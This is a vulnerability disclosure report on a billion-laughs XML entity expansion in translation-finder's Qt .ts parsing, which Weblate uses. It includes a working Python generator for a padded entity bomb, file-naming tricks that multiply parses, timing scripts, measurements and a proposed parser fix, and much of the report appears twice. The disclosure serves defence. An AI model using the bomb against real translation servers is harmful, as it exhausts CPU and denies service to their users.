Billion laughs entity expansion in Qt .ts discovery: a crafted ~950 KB file forces ~55 MB of XML expansion per parse, cost scales with crafted file c
The Qt .ts discovery function parses attacker-supplied XML with expat's default entity expansion, so a crafted file just under the 1 MiB sniff cap can force tens of megabytes of expansion per parse. Because each crafted file becomes its own discovery result, many such files cause many full parses in one discover() call, exhausting CPU.
Originally disclosed on HackerOne
- Fixed in 15 hours
- Disclosed after 31 days
Weakness
CWE-776 (Improper Restriction of Recursive Entity References in DTDs / XML bomb), CWE-400 (Uncontrolled Resource Consumption)
Suggested severity
Medium. CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5), same reasoning as my other two translation-finder reports: the trigger needs repository write access, the impact is availability only, but the cost per upload is extreme.
Affected component
WeblateOrg/translation-finder
File: translation_finder/discovery/files.py, function _get_qt_ts_version() (line 80 on master 671d213, line 78 in released 3.6.1), called from QtDiscovery.adjust_format() (line 629 on master, 627 in 3.6.1)
Tested at master commit 671d213 (2026-10-07) and against released 3.6.1 installed from PyPI. I extracted the function from both trees and diffed them: byte identical. So every released version carrying the Qt backend should be affected, not just these two points.
Affected versions
- translation-finder 3.6.1 (current PyPI latest) and current master @ 671d213. Unfixed in both.
- The maintainer's recent hardening commit d69b673 ("fix(discovery): bound multi-file format sniffing") shipped inside released 3.6.1 (it is a git ancestor of the release commit c5ac867, verified with
git merge-base --is-ancestor), but its budgets cap bytes and files per result. They do not cap the number of results, which is exactly the axis this bug scales on. - 97e7e02 (the wildcard matching fix from my report #4093379) touches finder.py and base.py, not this function.
- No public GitHub issue, GHSA or CVE covers entity expansion in .ts parsing as of 2026-10-07.
Summary
I found an XML entity expansion (billion laughs) weakness in the Qt translation discovery backend.
_get_qt_ts_version() parses attacker supplied .ts content with xml.parsers.expat using default entity processing. The function registers a StartElementHandler whose whole job is to grab the version attribute of the root <TS> element and abort (it raises a custom _QtRootFoundError to stop parsing). That guard cannot help here: expat expands internal entities while it normalizes attribute values, before the start element handler is ever called. So by the time the abort fires, the expansion work is already paid.
There is no EntityDeclHandler registered and no DTD hardening anywhere in the codebase (I grepped both trees for EntityDeclHandler and SetParamEntityParsing, zero hits). An attacker can declare any internal entity chain in the DOCTYPE and reference it from the version attribute.
expat does have a built in billion laughs protection, but it bounds the amplification ratio (roughly 100x), not the absolute work. That interacts badly with the library's own FORMAT_SNIFF_MAX_BYTES = 1 MiB sniff cap:
- A tiny bomb fails: a 599 byte file asking for 100 MB of expansion is stopped by the ratio cap in 0.051 s (measured).
- A fat bomb works: a file padded to 957,496 bytes (just under the 1 MiB sniff cap) whose
versionattribute holds 55 references to an entity chain that expands to 1 M chars stays inside the ratio budget (~57x) and forces ~55 MB of expansion in one parse. Measured 0.866 s per parse against 0.006 s for a benign .ts of the same size. That is ~145x the cost of doing the same sniff on a normal file.
The scaling axis: QtDiscovery.adjust_format() runs once per discovery result. Naming the files a0-cs.ts, a1-cs.ts, ... makes the discovery logic emit one distinct wildcard mask (a0-*.ts, a1-*.ts, ...) per file, so each crafted file becomes its own result and gets parsed once. The d69b673 budgets are per result, nothing caps the result count, so N crafted files means N full parses in a single discover() call. I measured qt_parses == N exactly: N=50 gives 50 parses and 31.68 s of CPU on master.
The bomb also compresses extremely well: 957,496 bytes deflate down to 4,068 bytes (235x), so the upload cost is ~163 CPU-seconds per compressed MB. For comparison, the .tx/config vector in my report #4093838 is ~8 CPU-s per compressed MB. This is roughly 20x more upload efficient.
Details
What the code does today
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
parser.StartElementHandler = handle_start
try:
parser.Parse(content, False)
except _QtRootFoundError:
return version
except expat.ExpatError:
return None
return None
(filed at translation_finder/discovery/files.py:80 on master, identical body in 3.6.1)
ParserCreate()with default settings accepts internal entity declarations from the DOCTYPE and expands them- only
StartElementHandleris set, there is noEntityDeclHandler, noSetParamEntityParsing, no DTD filtering of any kind QtDiscovery.adjust_format()(files.py:629) feeds up toFORMAT_SNIFF_MAX_BYTES(1 MiB) of each .ts candidate into this function, once per discovery result
Why the existing protections do not help
- expat's amplification cap (roughly 100x) bounds the ratio, not the work. The 1 MiB sniff cap effectively hands the attacker ~1 MB of file to play with, and a file just under the cap can still legally expand ~55 MB inside the ratio budget. The cap sets the size of the bomb, it does not stop it.
FORMAT_SNIFF_MAX_FILES = 10(added by d69b673, shipped in 3.6.1) is a per-result budget for sniffing multiple candidate files of one result. Here each crafted file produces its own result with exactly one candidate file, so the budget is never touched, and nothing anywhere caps how many results a tree can produce.- The early abort (
raise _QtRootFoundErrorfromhandle_start) fires only after the<TS>start tag is fully processed, which is after its attribute values have been normalized, which is after every&e5;reference has been expanded. The guard runs after the bill arrives.
Steps to Reproduce
Everything below was run on Kali Linux, Python 3.13.9, expat 2.7.3 as shipped with the interpreter. Adjust paths as needed.
Step 1: environment
python3 -m venv venv && venv/bin/pip install translation-finder
# or: git checkout 671d213 and pip install -e .
Step 2: build the bomb file
The payload is a syntactically valid Qt .ts file. A 6 level entity chain (each level expands the previous one 10x, so e5 = 1,000,000 chars), referenced 55 times from the version attribute, padded with XML comments to just under the 1 MiB sniff cap:
pad = 950_000
lines = ['<?xml version="1.0" encoding="utf-8"?>']
made = 0
while made < pad - 700:
chunk = "<!-- " + "P" * 118 + " -->\n"
lines.append(chunk)
made += len(chunk)
lines.append("<!DOCTYPE TS [")
lines.append('<!ENTITY e0 "AAAAAAAAAA">') # 10 chars
for i in range(1, 6):
ref = f"&e{i-1};" * 10 # 100, 1k, 10k, 100k, 1M
lines.append(f'<!ENTITY e{i} "{ref}">')
lines.append("]>")
lines.append('<TS version="' + "&e5;" * 55 + '">') # 55 refs = 55 MB expansion
lines.append(
"<context><name>x</name>"
"<message><source>s</source><translation>t</translation></message>"
"</context>"
)
lines.append("</TS>")
open("a0-cs.ts", "w").write("\n".join(lines))
This produces a 957,496 byte file. Two details matter:
- The file must stay under 1 MiB or
adjust_format()will not sniff it. The padding exists to buy enough "legitimate" size for the ~57x expansion ratio to stay under expat's ~100x amplification cap. - The name matters.
a0-cs.tsmakes the naming heuristic treata0as a prefix token andcsas the language code, so discovery generates the wildcard maska0-*.tsfor this file and yields one result. Any<prefix>-<lang>.tsshape works.
Step 3: put it in a repo and time one discovery
mkdir repo && mv a0-cs.ts repo/
time venv/bin/python -c "from translation_finder import discover; print(len(discover('repo')))"
Prints 1 and takes ~0.6 to 0.9 s of CPU depending on tree (0.866 s measured on 3.6.1). Now delete the DOCTYPE block from the same file (keep everything else, it is still a valid 950 KB .ts) and rerun: 0.006 s. That difference is the bug, nothing else in the file changed.
Step 4: show the linear scaling
Create 50 bombs named a0-cs.ts through a49-cs.ts in one repo, then count parses while timing:
import sys, time
sys.path.insert(0, "/path/to/translation_finder_tree")
import translation_finder.discovery.files as f
n = {"c": 0}
orig = f._get_qt_ts_version
def counting(content):
n["c"] += 1
return orig(content)
f._get_qt_ts_version = counting
from translation_finder import discover
t0 = time.perf_counter()
r = discover("repo")
print(len(r), n["c"], round(time.perf_counter() - t0, 2))
Output on master 671d213 with 50 bombs: 50 50 31.7. The parse count equals the file count exactly, at every N I tested (1, 10, 25, 50).
Step 5: scripted way
The attached PoCs do all of the above, build their trees in temp dirs and cap child memory with RLIMIT_AS 2 GiB:
# single file suite (benign, tiny bomb, fat bomb, k=70 ceiling, patched comparison, 10x multiplication)
python3 poc_tf_qt_ts_entity_bomb_361.py # against PyPI 3.6.1
python3 poc_tf_qt_ts_entity_bomb.py # against master
# scaling probe, parse counting included
python3 poc_tf_qt_ts_scaling_n.py /path/to/translation_finder 1 10 25 50
(adjust the sys.path line at the top of each script). This is exactly what I ran, raw output attached as run_361.txt and scaling_n.txt.
Measured results
Single file suite (PyPI 3.6.1, RLIMIT_AS 2 GiB)
| test | file size | expansion asked | time | peak RSS |
|---|---|---|---|---|
| benign 950 KB .ts, no DOCTYPE | 956,969 B | - | 0.006 s | 20.8 MiB |
| tiny bomb, e7 chain | 599 B | 100,000,000 chars | 0.051 s | 26.1 MiB |
| fat bomb, k=55 | 957,496 B | 55,000,000 chars | 0.866 s | 127.9 MiB |
| fat bomb, k=70 (ceiling probe) | 957,556 B | 70,000,000 chars | 0.566 s | 84.3 MiB |
| fat bomb k=55 with deny-all EntityDeclHandler | 957,496 B | 55,000,000 chars | 0.006 s | 22.7 MiB |
| 10 fat bombs in one repo | 957,496 B each | - | 5.148 s | 129.4 MiB |
The tiny bomb line is the control that shows expat's ratio cap works: a 599 byte file cannot ask for 100 MB of expansion, expat aborts almost immediately. The fat bomb stays under the ratio and pays full price. The patched line is the same bomb with a deny-all EntityDeclHandler installed before parsing, which is the fix I propose below.
Scaling (master @ 671d213)
| N crafted .ts files | qt_parses | discover() time | peak RSS |
|---|---|---|---|
| 1 | 1 | 0.605 s | 130.1 MiB |
| 10 | 10 | 5.154 s | 132.2 MiB |
| 25 | 25 | 16.13 s | 132.4 MiB |
| 50 | 50 | 31.68 s | 132.7 MiB |
Same probe on PyPI 3.6.1, N=25: 25 parses, 15.88 s, 129.7 MiB. The per-file cost is ~0.65 CPU-s per MB of crafted .ts, identical rate on 3.6.1 and master. Peak RSS is flat across the whole table, CPU is the exhausted resource, not memory.
Upload amplification
957,496 B compresses to 4,068 B with deflate -9 (measured, zip_ratio_bomb.txt). 50 bombs are ~203 KB zipped for 31.68 s of CPU, so ~163 CPU-s per uploaded MB. My report #4093838 measured ~8 CPU-s per compressed MB for the .tx/config vector, this one is about 20x more efficient per uploaded byte.
Limitations I want to be honest about
- End-to-end numbers are from single runs (n=1) on Kali, Python 3.13.9. The parse-primitive comparison was repeated a few times. Absolute seconds are machine dependent; the ratios (145x vs benign of the same size, exact N parses, flat RSS) are the meaningful part.
- I tested the expat that ships with Python 3.13.9 (2.7.3). The code has no entity handler in any tree I checked and the function is byte identical between 3.6.1 and master, so the weakness class applies wherever expat's ratio cap lets a sub 1 MiB file expand tens of MB. Older expat builds may be more permissive, not less, but I did not test other versions.
- The k=70 ceiling probe ran faster than k=55 (0.566 s vs 0.866 s, lower peak RSS). I did not dig into expat's internal accounting for that. k=55 is the measured sweet spot and all scaling numbers use it.
- The Weblate-side call path is inferred from source (discover() on user controlled VCS content during component import/create). I did not reproduce the hang against a live Weblate instance.
Duplicate check
Before reporting I checked:
- Security advisories on this repo: 0 ("There aren't any published security advisories")
- OSV.dev for the PyPI package translation-finder:
{}, no entries - Web/CVE/GHSA search: only Weblate platform advisories come up, none reference translation-finder. CVE-2026-62326 / GHSA-r52j-4vjp-q949 is about regex flags in Weblate core, unrelated.
- The issue sweep I ran for my other two reports (all 27 issues on this repo via the GitHub API, open and closed) found no DoS or resource consumption reports, and nothing touching .ts/XML/entity parsing.
- The maintainer's hardening commits d69b673 and 97e7e02 do not add any entity handling to
_get_qt_ts_version(). Attachedget_qt_ts_version_361.pyandget_qt_ts_version_main.pyare the function extracted from both trees, they diff empty. - This is a different bug class from my open reports #4093379 (quadratic fnmatch matching, algorithmic complexity) and #4093838 (.tx/config configparser cost, unbounded count). This one is XML entity expansion in the Qt backend: a single crafted file is enough, and the fix is parser hardening, not a count cap.
Suggested fix
Register an EntityDeclHandler in _get_qt_ts_version() that rejects every entity declaration. Real .ts files produced by Qt Linguist do not use DTD entities, so denying all of them cannot break legitimate discovery. The handler fires at declaration time, before any reference is expanded:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
def deny_entity(entityName, is_parameter_entity, value, base, systemId,
publicId, notationName):
raise expat.ExpatError("entities are not allowed in .ts discovery")
parser.StartElementHandler = handle_start
parser.EntityDeclHandler = deny_entity
# rest unchanged
Measured reference fix on the same 957 KB bomb: 0.006 s and 22.7 MiB peak RSS, versus 0.866 s and 127.9 MiB unfixed.
Alternatives that also work:
- Cheap pre-filter before parsing: skip .ts candidates whose sniffed content contains
<!ENTITYat all - In the d69b673 style, give
QtDiscovery.adjust_format()a shared per-discovery budget (total Qt parses per discover() call) so the result-count axis stays bounded as well. This is defense in depth, the handler alone already removes three orders of magnitude.
Attachments
poc_tf_qt_ts_entity_bomb.pyandpoc_tf_qt_ts_entity_bomb_361.py: single file suites (master and 3.6.1 variants), includes the patched comparisonpoc_tf_qt_ts_scaling_n.py: scaling probe with parse countingrun_361.txt,scaling_n.txt: raw output quoted in the tables aboveresults_361.json,results_main_671d213.json: machine readable suite resultsget_qt_ts_version_361.py,get_qt_ts_version_main.py: the function extracted from both trees, byte identicalzip_ratio_bomb.txt: upload amplification measurement (235x)probe_expat_ceiling_results.txt,probe_expat_fat_results.txt: why tiny bombs are capped but fat bombs are not
Impact
- discover() runs on user uploaded repos and archives in Weblate during component import/create. Any user who can upload a repo can trigger this.
- 50 crafted files cost ~48 MB on disk but only ~203 KB in a zip, and burn ~32 CPU-seconds per discovery run. K is attacker chosen, no cap exists anywhere in the library, and discovery re-runs on every repository update, so the cost repeats for as long as the files stay in the repo.
- ~163 CPU-seconds per compressed MB uploaded. A few concurrent requests with such uploads will stall web workers or exhaust the worker pool, since the parse runs CPU bound inside request handling.
- Unlike the .tx/config vector (#4093838), this one does produce results (each bomb parses fine after paying the expansion), so downstream Weblate code also receives N junk discovery results on top of the CPU cost.
- Availability impact only. Peak RSS stays at ~130 MiB under a 2 GiB child limit across the entire scaling table. I did not seek a memory impact. Symlinks and FIFOs are already handled safely (
_open_regular_fileuses O_NOFOLLOW).
Context
Weblate is a web-based translation platform. When a component is created or imported, Weblate takes the user-supplied repository or archive and runs it through translation-finder, a library that inspects the tree and works out which files are translatable, in which format, and for which language. One of the backends it supports is Qt Linguist .ts files, which are XML documents with a root <TS> element carrying a version attribute.
The function _get_qt_ts_version() (line 80 on master 671d213, line 78 in released 3.6.1) is called from QtDiscovery.adjust_format() (line 629 on master, 627 in 3.6.1). Its job is small: parse the beginning of a .ts candidate, read the version attribute of the root <TS> element, and stop.
The weakness is CWE-776 (improper restriction of recursive entity references in DTDs, the XML bomb class) and CWE-400 (uncontrolled resource consumption). The researcher suggests Medium severity, CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5), on the same reasoning as two companion reports: the trigger needs repository write access, the impact is availability only, but the cost per upload is extreme.
Setup
- Target:
WeblateOrg/translation-finder, tested at master commit671d213(2026-10-07) and against released 3.6.1 installed from PyPI. - The function was extracted from both trees and diffed: byte identical. Every released version carrying the Qt backend should therefore be affected, not just these two points.
- Test environment: Kali Linux, Python 3.13.9, expat 2.7.3 as shipped with the interpreter.
- Precondition: the attacker needs write access to a repository that Weblate will import, since
discover()runs on user-controlled VCS content during component import/create. The Weblate-side call path is inferred from source; the researcher did not reproduce a hang against a live Weblate instance. - No account, role or token details beyond that are given in the report.
On versions: the maintainer's hardening commit d69b673 ("fix(discovery): bound multi-file format sniffing") shipped inside released 3.6.1, verified as a git ancestor of the release commit c5ac867 with git merge-base --is-ancestor. Its budgets cap bytes and files per result, not the number of results, which is the axis this bug scales on. Commit 97e7e02 (a wildcard matching fix from a separate report, #4093379) touches finder.py and base.py, not this function. As of 2026-10-07 no public GitHub issue, GHSA or CVE covered entity expansion in .ts parsing.
Finding it
_get_qt_ts_version() parses attacker-supplied .ts content with xml.parsers.expat using default entity processing. It registers a StartElementHandler whose whole job is to grab the version attribute of the root <TS> element and abort by raising a custom _QtRootFoundError. That guard cannot help: expat expands internal entities while it normalises attribute values, before the start element handler is ever called. By the time the abort fires, the expansion work has already been paid.
There is no EntityDeclHandler registered and no DTD hardening anywhere in the codebase; a grep of both trees for EntityDeclHandler and SetParamEntityParsing returned zero hits. An attacker can declare any internal entity chain in the DOCTYPE and reference it from the version attribute.
expat does have a built-in billion laughs protection, but it bounds the amplification ratio (roughly 100x), not the absolute work. That interacts badly with the library's own FORMAT_SNIFF_MAX_BYTES = 1 MiB sniff cap:
- A tiny bomb fails: a 599 byte file asking for 100 MB of expansion is stopped by the ratio cap in 0.051 s (measured).
- A fat bomb works: a file padded to 957,496 bytes (just under the 1 MiB sniff cap) whose
versionattribute holds 55 references to an entity chain that expands to 1 M chars stays inside the ratio budget (~57x) and forces ~55 MB of expansion in one parse. Measured 0.866 s per parse against 0.006 s for a benign.tsof the same size, about 145x the cost of the same sniff on a normal file.
The scaling axis is that QtDiscovery.adjust_format() runs once per discovery result. Naming files a0-cs.ts, a1-cs.ts, ... makes the discovery logic emit one distinct wildcard mask (a0-*.ts, a1-*.ts, ...) per file, so each crafted file becomes its own result and gets parsed once. The d69b673 budgets are per result and nothing caps the result count, so N crafted files means N full parses in a single discover() call. The researcher measured qt_parses == N exactly: N=50 gives 50 parses and 31.68 s of CPU on master.
The bomb also compresses extremely well: 957,496 bytes deflate down to 4,068 bytes (235x), so the upload cost is ~163 CPU-seconds per compressed MB. For comparison, the .tx/config vector in report #4093838 is ~8 CPU-s per compressed MB, making this roughly 20x more upload efficient.
Exploitation
Step 1: environment
python3 -m venv venv && venv/bin/pip install translation-finder
# or: git checkout 671d213 and pip install -e .
Step 2: build the bomb file
The payload is a syntactically valid Qt .ts file. A 6 level entity chain (each level expands the previous one 10x, so e5 = 1,000,000 chars) is referenced 55 times from the version attribute, and the file is padded with XML comments to just under the 1 MiB sniff cap:
pad = 950_000
lines = ['<?xml version="1.0" encoding="utf-8"?>']
made = 0
while made < pad - 700:
chunk = "<!-- " + "P" * 118 + " -->\n"
lines.append(chunk)
made += len(chunk)
lines.append("<!DOCTYPE TS [")
lines.append('<!ENTITY e0 "AAAAAAAAAA">') # 10 chars
for i in range(1, 6):
ref = f"&e{i-1};" * 10 # 100, 1k, 10k, 100k, 1M
lines.append(f'<!ENTITY e{i} "{ref}">')
lines.append("]>")
lines.append('<TS version="' + "&e5;" * 55 + '">') # 55 refs = 55 MB expansion
lines.append(
"<context><name>x</name>"
"<message><source>s</source><translation>t</translation></message>"
"</context>"
)
lines.append("</TS>")
open("a0-cs.ts", "w").write("\n".join(lines))
This produces a 957,496 byte file. Two details matter:
- The file must stay under 1 MiB or
adjust_format()will not sniff it. The padding exists to buy enough "legitimate" size for the ~57x expansion ratio to stay under expat's ~100x amplification cap. - The name matters.
a0-cs.tsmakes the naming heuristic treata0as a prefix token andcsas the language code, so discovery generates the wildcard maska0-*.tsfor this file and yields one result. Any<prefix>-<lang>.tsshape works.
Step 3: put it in a repo and time one discovery
mkdir repo && mv a0-cs.ts repo/
time venv/bin/python -c "from translation_finder import discover; print(len(discover('repo')))"
This prints 1 and takes ~0.6 to 0.9 s of CPU depending on tree. Deleting the DOCTYPE block from the same file (keeping everything else, still a valid 950 KB .ts) and rerunning gives 0.006 s. That difference is the bug; nothing else in the file changed.
Step 4: show the linear scaling
Create 50 bombs named a0-cs.ts through a49-cs.ts in one repo, then count parses while timing:
import sys, time
sys.path.insert(0, "/path/to/translation_finder_tree")
import translation_finder.discovery.files as f
n = {"c": 0}
orig = f._get_qt_ts_version
def counting(content):
n["c"] += 1
return orig(content)
f._get_qt_ts_version = counting
from translation_finder import discover
t0 = time.perf_counter()
r = discover("repo")
print(len(r), n["c"], round(time.perf_counter() - t0, 2))
Output on master 671d213 with 50 bombs: 50 50 31.7. The parse count equals the file count exactly, at every N tested (1, 10, 25, 50).
Step 5: scripted way
# single file suite (benign, tiny bomb, fat bomb, k=70 ceiling, patched comparison, 10x multiplication)
python3 poc_tf_qt_ts_entity_bomb_361.py # against PyPI 3.6.1
python3 poc_tf_qt_ts_entity_bomb.py # against master
# scaling probe, parse counting included
python3 poc_tf_qt_ts_scaling_n.py /path/to/translation_finder 1 10 25 50
Adjust the sys.path line at the top of each script.
Measured results
Single file suite (PyPI 3.6.1, RLIMIT_AS 2 GiB):
| test | file size | expansion asked | time | peak RSS |
|---|---|---|---|---|
| benign 950 KB .ts, no DOCTYPE | 956,969 B | - | 0.006 s | 20.8 MiB |
| tiny bomb, e7 chain | 599 B | 100,000,000 chars | 0.051 s | 26.1 MiB |
| fat bomb, k=55 | 957,496 B | 55,000,000 chars | 0.866 s | 127.9 MiB |
| fat bomb, k=70 (ceiling probe) | 957,556 B | 70,000,000 chars | 0.566 s | 84.3 MiB |
| fat bomb k=55 with deny-all EntityDeclHandler | 957,496 B | 55,000,000 chars | 0.006 s | 22.7 MiB |
| 10 fat bombs in one repo | 957,496 B each | - | 5.148 s | 129.4 MiB |
The tiny bomb line is the control showing expat's ratio cap works: a 599 byte file cannot ask for 100 MB of expansion, and expat aborts almost immediately. The fat bomb stays under the ratio and pays full price.
Scaling (master 671d213):
| N crafted .ts files | qt_parses | discover() time | peak RSS |
|---|---|---|---|
| 1 | 1 | 0.605 s | 130.1 MiB |
| 10 | 10 | 5.154 s | 132.2 MiB |
| 25 | 25 | 16.13 s | 132.4 MiB |
| 50 | 50 | 31.68 s | 132.7 MiB |
Same probe on PyPI 3.6.1, N=25: 25 parses, 15.88 s, 129.7 MiB. The per-file cost is ~0.65 CPU-s per MB of crafted .ts, identical rate on 3.6.1 and master. Peak RSS is flat across the whole table: CPU is the exhausted resource, not memory.
Upload amplification: 957,496 B compresses to 4,068 B with deflate -9 (measured, zip_ratio_bomb.txt). 50 bombs are ~203 KB zipped for 31.68 s of CPU, so ~163 CPU-s per uploaded MB. Report #4093838 measured ~8 CPU-s per compressed MB for the .tx/config vector; this one is about 20x more efficient per uploaded byte.
Limitations stated by the researcher
- End-to-end numbers are from single runs (n=1) on Kali, Python 3.13.9. The parse-primitive comparison was repeated a few times. Absolute seconds are machine dependent; the ratios (145x vs benign of the same size, exact N parses, flat RSS) are the meaningful part.
- Only the expat shipped with Python 3.13.9 (2.7.3) was tested. The code has no entity handler in any tree checked and the function is byte identical between 3.6.1 and master, so the weakness class applies wherever expat's ratio cap lets a sub-1 MiB file expand tens of MB. Older expat builds may be more permissive, not less, but other versions were not tested.
- The k=70 ceiling probe ran faster than k=55 (0.566 s vs 0.866 s, lower peak RSS). The internal accounting behind that was not investigated. k=55 is the measured sweet spot and all scaling numbers use it.
- The Weblate-side call path is inferred from source (
discover()on user-controlled VCS content during component import/create); no live Weblate instance was used.
Duplicate check
Before reporting, the researcher checked:
- Security advisories on the repo: 0 ("There aren't any published security advisories").
- OSV.dev for the PyPI package
translation-finder:{}, no entries. - Web/CVE/GHSA search: only Weblate platform advisories come up, none reference
translation-finder. CVE-2026-62326 / GHSA-r52j-4vjp-q949 is about regex flags in Weblate core, unrelated. - The issue sweep run for the other two reports (all 27 issues on the repo via the GitHub API, open and closed) found no DoS or resource consumption reports, and nothing touching
.ts/XML/entity parsing. - The hardening commits
d69b673and97e7e02add no entity handling to_get_qt_ts_version(). The extracted function filesget_qt_ts_version_361.pyandget_qt_ts_version_main.pydiff empty. - This is a different bug class from the open reports #4093379 (quadratic fnmatch matching, algorithmic complexity) and #4093838 (
.tx/configconfigparser cost, unbounded count). Here a single crafted file is enough, and the fix is parser hardening, not a count cap.
Root cause
The vulnerable code as it stands:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
parser.StartElementHandler = handle_start
try:
parser.Parse(content, False)
except _QtRootFoundError:
return version
except expat.ExpatError:
return None
return None
(filed at translation_finder/discovery/files.py:80 on master, identical body in 3.6.1)
ParserCreate()with default settings accepts internal entity declarations from the DOCTYPE and expands them.- Only
StartElementHandleris set: noEntityDeclHandler, noSetParamEntityParsing, no DTD filtering of any kind. QtDiscovery.adjust_format()(files.py:629) feeds up toFORMAT_SNIFF_MAX_BYTES(1 MiB) of each.tscandidate into this function, once per discovery result.
Why the existing protections do not help:
- expat's amplification cap (roughly 100x) bounds the ratio, not the work. The 1 MiB sniff cap effectively hands the attacker ~1 MB of file to play with, and a file just under the cap can still legally expand ~55 MB inside the ratio budget. The cap sets the size of the bomb, it does not stop it.
FORMAT_SNIFF_MAX_FILES = 10(added byd69b673, shipped in 3.6.1) is a per-result budget for sniffing multiple candidate files of one result. Here each crafted file produces its own result with exactly one candidate file, so the budget is never touched, and nothing anywhere caps how many results a tree can produce.- The early abort (
raise _QtRootFoundErrorfromhandle_start) fires only after the<TS>start tag is fully processed, which is after its attribute values have been normalised, which is after every&e5;reference has been expanded. The guard runs after the bill arrives.
Impact
discover()runs on user-uploaded repos and archives in Weblate during component import/create. Any user who can upload a repo can trigger this.- 50 crafted files cost ~48 MB on disk but only ~203 KB in a zip, and burn ~32 CPU-seconds per discovery run. K is attacker-chosen, no cap exists anywhere in the library, and discovery re-runs on every repository update, so the cost repeats for as long as the files stay in the repo.
- ~163 CPU-seconds per compressed MB uploaded. A few concurrent requests with such uploads will stall web workers or exhaust the worker pool, since the parse runs CPU bound inside request handling.
- Unlike the
.tx/configvector (#4093838), this one does produce results (each bomb parses fine after paying the expansion), so downstream Weblate code also receives N junk discovery results on top of the CPU cost. - Availability impact only. Peak RSS stays at ~130 MiB under a 2 GiB child limit across the entire scaling table; no memory impact was sought. Symlinks and FIFOs are already handled safely (
_open_regular_fileusesO_NOFOLLOW).
Fix
Register an EntityDeclHandler in _get_qt_ts_version() that rejects every entity declaration. Real .ts files produced by Qt Linguist do not use DTD entities, so denying all of them cannot break legitimate discovery. The handler fires at declaration time, before any reference is expanded:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
def deny_entity(entityName, is_parameter_entity, value, base, systemId,
publicId, notationName):
raise expat.ExpatError("entities are not allowed in .ts discovery")
parser.StartElementHandler = handle_start
parser.EntityDeclHandler = deny_entity
# rest unchanged
Measured reference fix on the same 957 KB bomb: 0.006 s and 22.7 MiB peak RSS, versus 0.866 s and 127.9 MiB unfixed.
Alternatives that also work:
- Cheap pre-filter before parsing: skip
.tscandidates whose sniffed content contains<!ENTITYat all. - In the
d69b673style, giveQtDiscovery.adjust_format()a shared per-discovery budget (total Qt parses perdiscover()call) so the result-count axis stays bounded as well. This is defence in depth; the handler alone already removes three orders of magnitude.
- A positive result is a parse whose time grows with entity depth or reference count while the file stays under the sniff byte cap.
- A positive result is a k where expansion stays inside the ~100x ratio budget but still costs hundreds of milliseconds per parse; the report's k=55 is one such point, and k=70 behaved differently, so the sweet spot is worth mapping per parser version.
- A positive result is a parse counter that equals the number of crafted files in a single
discover()call, with per-result budgets untouched. - A positive result is a high CPU-s per compressed MB ratio, as with the 235x deflate ratio here.
- A positive result is a parser created with defaults that later processes attacker-controlled XML.
- A positive result is expansion work without the filtered token appearing in the sniffed bytes.
What happened, in plain words
Weblate is a website that helps people translate software. You give it a project (a folder of files, usually stored in a version control system such as Git), and Weblate shows translators the text that needs translating and collects their work.
Before Weblate can show anything, it has to work out what is inside the folder you gave it. Which files contain translatable text? What format are they in? Which language is each one for? A helper library called translation-finder does that detective work. It is a piece of Python code that Weblate runs over your uploaded files.
One of the file formats it recognises is the Qt Linguist .ts file. A .ts file is a text file written in a markup language called XML, which looks a bit like HTML: it is made of tags in angle brackets, and tags can carry extra information called attributes. A .ts file has a root tag called <TS> that carries a version attribute.
To read that version number, translation-finder uses a standard XML parser called expat. A parser is a program that reads a structured text file and turns it into something a program can work with. XML has a feature called entities: a short name you can define once and then reuse, so that &company; can stand for a long company name everywhere it appears. That feature is useful, but it can be abused.
An attacker can define an entity that refers to other entities, which refer to other entities, each one repeating the previous one many times. The file stays small, but when the parser expands all the references it has to build an enormous amount of text in memory. This trick is nicknamed a billion laughs attack, or an XML bomb. The parser is doing exactly what it was told; the file is just designed so that obeying it is very expensive.
The researcher found that translation-finder reads .ts files with a parser that happily expands these entities, and that the library's existing safety checks do not stop it. A single crafted file of just under one megabyte can force about 55 megabytes of expansion every time it is read. Worse, the library reads one file per discovery result, and the attacker controls how many results there are by choosing file names, so 50 crafted files mean 50 expensive reads in one go.
The impact is on availability: the server spends so much processor time on these files that it has less left for real work. Nobody's data is stolen or changed. The researcher rated it Medium severity, with a CVSS score of 6.5, and noted that the attacker needs to be able to upload a repository to Weblate in the first place.
The weakness, in security terms
The report files this under two standard weakness categories:
- CWE-776, improper restriction of recursive entity references in DTDs. A DTD is the section at the top of an XML file where entities are declared. "Recursive" here means entities that refer to other entities, which is what makes the expansion explode.
- CWE-400, uncontrolled resource consumption. The program uses an amount of a resource (here, processor time) that the attacker chooses, with no limit.
The suggested severity is Medium, with the CVSS vector CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5). CVSS is a scoring system for vulnerabilities; the vector is a compact string describing the conditions. In plain words: the attack can come over the network, it is easy to carry out, it needs some level of privilege (the ability to upload a repository), it needs no action from a victim, it affects only the vulnerable component, it does not leak or alter data, and it does affect availability. The researcher used the same reasoning as in two companion reports: the trigger needs repository write access, the impact is availability only, but the cost per upload is extreme.
The affected component
The affected project is WeblateOrg/translation-finder, and the affected file is translation_finder/discovery/files.py. Inside it, the function _get_qt_ts_version() is the one that reads the version from a .ts file. It sits at line 80 on the master branch (the main development copy) at commit 671d213, and at line 78 in the released version 3.6.1. A commit is a saved snapshot of the code with an identifier; a release is a numbered version published for people to install.
The function is called from QtDiscovery.adjust_format() (line 629 on master, 627 in 3.6.1). Its job is small: read the beginning of a .ts candidate file, pick out the version attribute of the root <TS> element, and stop.
